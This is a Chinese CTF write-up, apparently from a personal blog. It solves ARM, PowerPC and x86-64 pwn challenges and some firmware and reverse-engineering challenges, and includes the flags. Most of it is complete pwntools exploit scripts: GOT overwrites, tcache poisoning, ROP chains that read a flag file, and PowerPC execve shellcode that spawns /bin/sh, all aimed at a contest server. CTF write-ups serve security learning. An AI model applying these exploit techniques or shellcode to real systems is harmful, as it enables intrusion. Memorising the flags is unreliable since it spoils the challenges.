Pwn
emarm
基本情况
Aarch64 题目没有打开 pie 。程序存在一个任意地址写入:
随机数验证输入 \x00
绕过。
远程是用 qemu 部署,地址不随机。第一次泄露地址,第二次 getshell 。
利用任意地址写,将 atoi got 改为 printf ,在 main 函数控制 atoi 参数实现格式化字符串泄露出栈上 got 表信息。
第二次就讲 atoi 修改为 system 参数为 /bin/shx00
EXP
from pwn import *
import sys
context.log_level = "debug"
context.binary = "emarm"
if sys.argv[1] == "r":
p = remote("183.129.189.60", 10012)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "./emarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "./emarm"])
elf = ELF("emarm")
libc = ELF("./lib/libc.so.6")
p.recvuntil("passwd:")
p.sendline("\x00")
p.send(str(elf.got['atoi']))
p.recvuntil("you will success")
p.send(p64(elf.plt['printf']))
p.recvuntil("i leave for you bye")
p.send("%9$p")
p.recvuntil("0x")
leak_addr = int(p.recv(10),16)
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr-0x206e0
log.info("libc_base:"+hex(libc_base))
if sys.argv[1] == "r":
p = remote("183.129.189.60", 10012)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "./emarm"])
p.recvuntil("passwd:")
p.sendline("\x00")
p.send(str(elf.got['atoi']))
p.recvuntil("you will success")
p.send(p64(libc.symbols['system']+libc_base))
p.recvuntil("i leave for you bye")
p.send("sh\x00")
p.interactive()
flag{33c34e317026a39feeea14fdd97fa846}
ememarm
基本情况
Aarch64 堆题目,libc 是 2.27 ,输出功能是个摆设。能可以 malloc 0x20 & 0x30 。
程序一开始 malloc 0x20 那个堆块相当于是个链头, 0x20 和 0x30 堆内结构体如下:
struct{
x;//8bit
y;//8bit
null;//8bit
next_ptr;//8bit
……
}
这个 next_ptr 是下一个堆块的地址,通过这个属性构成一个链表。malloc 堆块是否加入链表是看申请完那个 do you want delete
选择。
edit 的时候溢出一个 \x00
:
思路
利用溢出,释放一个 fake_chunk 。将两个 0x30 堆分别布置到 0x4132e0 和 0x413320 ,都加入链表。前一个堆被溢出后执行自身的 fd_nextsize 位置,同时这个位置被视为 0x20 堆块放入 tcachebin 。利用 edit 修改 tcachebin fd 实现 house of sprit
由于题目给的 libc 文件没有 debug 信息,所以 gdb 的 heap 和 bin 指令是不能用的。heap 指令用直接查地址代替,地址可以在 vmmap 看。tcache bin 可以查 heap 分段开始 0x250 的结构体。
EXP
from pwn import *
import sys
context.binary = "ememarm"
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote('183.129.189.60', 10034)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "ememarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "ememarm"])
elf = ELF("ememarm")
libc = ELF("./lib/libc.so.6")
def add_1(x, y, add):
p.sendlineafter('choice:', '1')
p.sendafter('cx:', x)
p.sendafter('cy:', y)
p.sendlineafter('delete?', str(add))
def add_2(x, y, add):
p.sendlineafter('choice:', '4')
p.sendafter('cx:', x)
p.sendafter('cy:', y)
p.sendlineafter('delete?', str(add))
def edit(pos, content):
p.sendlineafter('choice: \n', '3')
sleep(1)
p.sendline(str(pos))
sleep(1)
p.send(content)
p.recvuntil("~~")
bss_addr = int(p.recvuntil('\n',drop=1))
log.info("bss_addr:"+hex(bss_addr))
p.sendline('')
# prt=0x413250
add_1('a','a',0)
add_1('b','b',0)
add_2('c','c',1)
add_2('d','d',1)
edit(1, flat(0, 0x31, 0))#free fake_chunk
edit(1, flat(0, 0x31, elf.got['free']-8))# overwrite tcache fd
add_1('\x00', '\x00', 0)
# allocate chunk in got
add_1(p8(0x40), p64(elf.plt['puts']), 1)
edit(1, '\x00')
puts_addr=u64(p.recvuntil('\n',drop=True)[-3:].ljust(8,'\x00'))+0x4000000000
log.info("puts_addr:"+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
log.info('libc_base:'+hex(libc_base)) # 0x400086f2c8
p.close()
if sys.argv[1] == "r":
p = remote('183.129.189.60', 10034)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "ememarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "ememarm"])
p.sendlineafter("~~",'')
add_1('a','a',0)
add_1('b','b',0)
add_2('c','c',1)
add_2('d','d',1)
edit(1, flat(0, 0x31, 0))#free fake_chunk
edit(1, flat(0, 0x31, libc_base+libc.sym['__free_hook']))# overwrite tcache fd
add_1('/bin/sh\x00', '\x00', 1)
# allocate chunk in got
add_1(p64(libc_base+libc.sym['system']),'\x00', 1)
edit(1, '\x00')
p.interactive()
flag{1f16c67b554e9e75300f37e9f08d0aa4}
justcode
基本情况
Amd64 开启沙盒禁用 execve
直接审代码就 name 写入时能够溢出修改 canary :
因为没有置零栈区再使用,在写入 name 时可以泄露出站上的 libc 地址:
另外一个问题得细心调试才观察出来,也是因为栈上的数据没有经过置零后再使用,导致在输入 name 时,可以控制 sub_400CCA() 的写入地址 v1 ,实现任意地址写。
思路
sub_400C47()
泄露出 libc 地址;sub_400C47()
写入目标地址,sub_400CCA()
向目标地址写入值,修改 exit 为 main 突破操作 4 次的限制;
将 rop 利用链通过 name 写入栈上,将 strdup 劫持为 gadget add rsp 8;ret
,将程序流 hijack 到栈上。也可以控制寄存器用 sub_400CCA()
scanf 往 bss 写入利用链,控制 rbp、rip 栈迁移。
EXP
from pwn import *
context.binary="justcode"
context.log_level="debug"
# p = process("./justcode")
p = remote("183.129.189.60",10041)
elf = ELF("./justcode")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(":\n")
p.sendline("1")
p.sendline("1")
p.sendline("2")
p.sendline("3")
#1 leak libc
payload = 'a'*8
p.recvuntil(":\n")
p.sendline(payload)
p.recvuntil(payload)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x7b60a
log.info("libc_base:"+hex(libc_base))
#1 write v1 addr
p.recvuntil(":\n")
p.send('a'*12+p64(elf.got['exit']))
#2 overwrite exit
p.recvuntil("id:\n")
p.sendline(str(0x400D4B))
p.sendline("b")
bss_addr=elf.bss()
main_addr=0x400D76
rop_addr=0x6020e0
pop_rdi_ret=0x21112+libc_base
pop_rsi_ret=0x202f8+libc_base
pop_rdx_ret=0x1b92+libc_base
add_rsp8_ret=0x35142+libc_base
p.recvuntil("code:\n")
p.sendline("1")
p.sendline("3")
p.sendline("3")
p.sendline("3")
#1 leak stack addr
payload = 'a'*0x27
p.recvuntil(":\n")
p.sendline(payload)
p.recvuntil(payload+'\n')
main_ret_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_ret_addr:"+hex(main_ret_addr))
flag_addr=main_ret_addr-0x80-0x28#0x9e
# gdb.attach(p)
# open(&flag,0,0)
rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(libc_base+libc.sym['open'])
# read(3,bss_addr,0x40)
rop+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(elf.plt['read'])
# puts(bss_addr)
rop+=p64(pop_rdi_ret)+p64(bss_addr)+p64(elf.plt['puts'])+'./flag\x00'
p.recvuntil("code:\n")
p.sendline("1")
p.sendline("2")
p.sendline("1")
p.sendline("3")
#1 write v1 addr
p.recvuntil(":\n")
p.send('a'*12+p64(elf.got['strdup']))
#2 overwrite strdup
p.recvuntil("id:\n")
p.sendline(str(add_rsp8_ret&0xffffffff))
p.sendline("a")
#1 write rop & getshell
p.recvuntil("name:\n")
p.send(rop)
p.interactive()
from pwn import *
#sh = process("./justcode")
sh = remote("183.129.189.60",10041)
elf = ELF("justcode")
libc = ELF("libc.so")
sh.recvuntil("code:")
main = 0x400D4B
sh.sendline("1")
sh.sendline("1")
sh.sendline("2")
sh.sendline("3")
sh.send('a'*8)
sh.recvuntil("check it : aaaaaaaa")
addr = u64(sh.recvuntil("\n",drop=True).ljust(8,'\x00'))
print 'addr:'+hex(addr)
libc_base = addr - 0x7b61e
print 'libc_base:'+hex(libc_base)
sh.recvuntil("name:")
sh.send("a"*0xc+p64(elf.got['exit']))
sh.recvuntil("id:")
sh.sendline(str(main))
sh.recvuntil("info:")
sh.sendline("a")
rdi_ret = 0x0000000000021112+libc_base
rsi_ret = 0x00000000000202f8+libc_base
rdx_ret = 0x0000000000001b92+libc_base
rbp_ret = 0x000000000001f930+libc_base
rdx_rsi_ret = 0x0000000000115189+libc_base
leave_ret = 0x0000000000042361+libc_base
sh.recvuntil("code:")
sh.sendline("1")
sh.sendline("2")
sh.sendline("3")
sh.sendline("3")
payload = "z"*0xc+p64(elf.got['exit'])
sh.sendline(payload)
sh.recvuntil("id:")
sh.sendline(str(0x400CF6))
sh.recvuntil("info:")
sh.sendline("a")
sh.recvuntil("no check")
payload = 'a'*0x21
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rdx_rsi_ret)
payload += p64(0x200)
payload += p64(0x6020A0+0x200)
payload += p64(libc.symbols['read']+libc_base)
payload += p64(rbp_ret)
payload += p64(0x6020A0+0x200)
payload += p64(leave_ret)
sh.send(payload)
payload = './flag\x00\x00'
payload += p64(rdi_ret)
payload += p64(0x6020A0+0x200)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(libc.symbols['open']+libc_base)
payload += p64(rdi_ret)
payload += p64(3)
payload += p64(rsi_ret)
payload += p64(0x6020A0+0x300)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(libc.symbols['read']+libc_base)
payload += p64(rdi_ret)
payload += p64(1)
payload += p64(rsi_ret)
payload += p64(0x6020A0+0x300)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(libc.symbols['write']+libc_base)
sh.sendline(payload)
sh.interactive()
flag{f79047efe49d10a8001c5791c34f0dbb}
固件安全
NodeMCU
妙用strings固件分析 strings nodemcu.bin
:
flag{6808dcf0-526e-11eb-92de-acde48001122}
STM
解压得到 .bin
后缀文件,推测应该是 STM 固件分析题目。一番学习后,bin 文件可以转换为 hex 文件再丢 ida 里面分析,当然也可以直接丢 bin 文件分析,两者差别在加载是是否需要手动调加载地址。实际上 hex 文件自动加载地址是从 0x0 开始,也是不对,所以还是直接丢 bin 文件分析。
Ida32 打开,文件加载选项如下图:
按照上图设置完成后,一路 ok 返回加载 bin 文件,这是会有一个弹窗设置 ram rom 的地址,如果加载的是 hex 则没有这个窗口:
RAM start address:ram 起始地址,stm32 是0x20000000
RAM size:ram 长度, 64kb 内存是 0x10000
ROM start address:rom 起始地址,一般是 0x08000000 ,一开始是 0x08000101 加载出来不正确。
ROM size:rom 长度
Loading address:rom 装载地址
在文件开头疯狂按 d 调整数据格式,显示出程序入口 0x8000101
:
跳转过去之后在 0x8000100
处点 c
声明函数,程序结构就出来。字符串定位出 main 函数,大概看了下发现不用管,直接看另外一个字符串被调用的函数就是字符串的解密函数:
解密函数如下图,还有一些 sub 是取了符号表的功能函数:
EXP
enc = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40,
0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30,
0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33,
0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28,
0x2E, 0x64]
for word in enc:
print(chr((word^0x1e)+3),end='')
flag{1749ac10-5389-11eb-90c1-001c427bd493}
PPPPPPC
PowerPC栈溢出初探:从放弃到getshell
Powerpc 32 位大端序,保护全关。比较明显的栈溢出:
cycli 生成字符串从报错信息中得知 padding 需要 0x13c 字节。
一开始是想用 bss 区的 shellcode ,因为地址已知,直接覆盖跳转,但是遇到问题是 strcpy 会遇到 x00 截断,而 shellcode 中将 r0 设置为 11 时高位必定为 0x00,sc 指令中间也是有 0x00 。
由于 qemu 不随机化,本地调试观察报错信息,发现会将各个寄存器值以及一些应该是栈信息:
这个地址是栈上地址,然后调试观察 shellcode 写入地址距离,计算出 shellocode 在栈上的地址。
#encoding:utf-8
from pwn import *
import sys
context.binary = "PPPPPPC"
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("183.129.189.60", 10039)
elif sys.argv[1] == "l":
p = process(["./qemu-ppc-static", "PPPPPPC"])
else:
p = process(["./qemu-ppc-static", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "PPPPPPC"])
elf = ELF("PPPPPPC")
cycli = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaai"
shellcode = "\x7c\x3f\x0b\x78" #/*mr r31,r1*/
shellcode +="\x7c\xa5\x2a\x79" #/*xor. r5,r5,r5*/
shellcode +="\x42\x40\xff\xf9" #/*bdzl+ 10000454< main>*/
shellcode +="\x7f\x08\x02\xa6" #/*mflr r24*/
shellcode +="\x3b\x18\x01\x34" #/*addi r24,r24,308*/
shellcode +="\x98\xb8\xfe\xfb" #/*stb r5,-261(r24)*/
shellcode +="\x38\x78\xfe\xf4" #/*addi r3,r24,-268*/
shellcode +="\x90\x61\xff\xf8" #/*stw r3,-8(r1)*/
shellcode +="\x38\x81\xff\xf8" #/*addi r4,r1,-8*/
shellcode +="\x90\xa1\xff\xfc" #/*stw r5,-4(r1)*/
shellcode +="\x3b\xc0\x01\x60" #/*li r30,352*/
shellcode +="\x7f\xc0\x2e\x70" #/*srawi r0,r30,5*/
shellcode +="\x44\xde\xad\xf2" #/*.long 0x44deadf2*/
shellcode +="/bin/shZ"
payload = shellcode.ljust(0x140-4,'a')
payload += p32(0xf6fffab8)
p.recvuntil(": ")
#p.send(cycli)
p.sendline(payload)
p.interactive()
Reverse
decryption
打开 ida 分析算法:将明文加上下标序号后异或 0x23
EXP
enc = [ 0x12, 0x45, 0x10, 0x47, 0x19, 0x49, 0x49, 0x49, 0x1A, 0x4F,
0x1C, 0x1E, 0x52, 0x66, 0x1D, 0x52, 0x66, 0x67, 0x68, 0x67,
0x65, 0x6F, 0x5F, 0x59, 0x58, 0x5E, 0x6D, 0x70, 0xA1, 0x6E,
0x70, 0xA3]
for i in range(len(enc)):
print(chr((enc[i]^0x23)-i),end='')
1e1a6edc1c52e80b539127fccd48f05a
查阅资料
[使用 ida 逆向分析 stm32 的 bin 固件文件](
版权属于:SkYe's Blog
本文链接:https://www.mrskye.cn/archives/222/
转载时须注明出处及本声明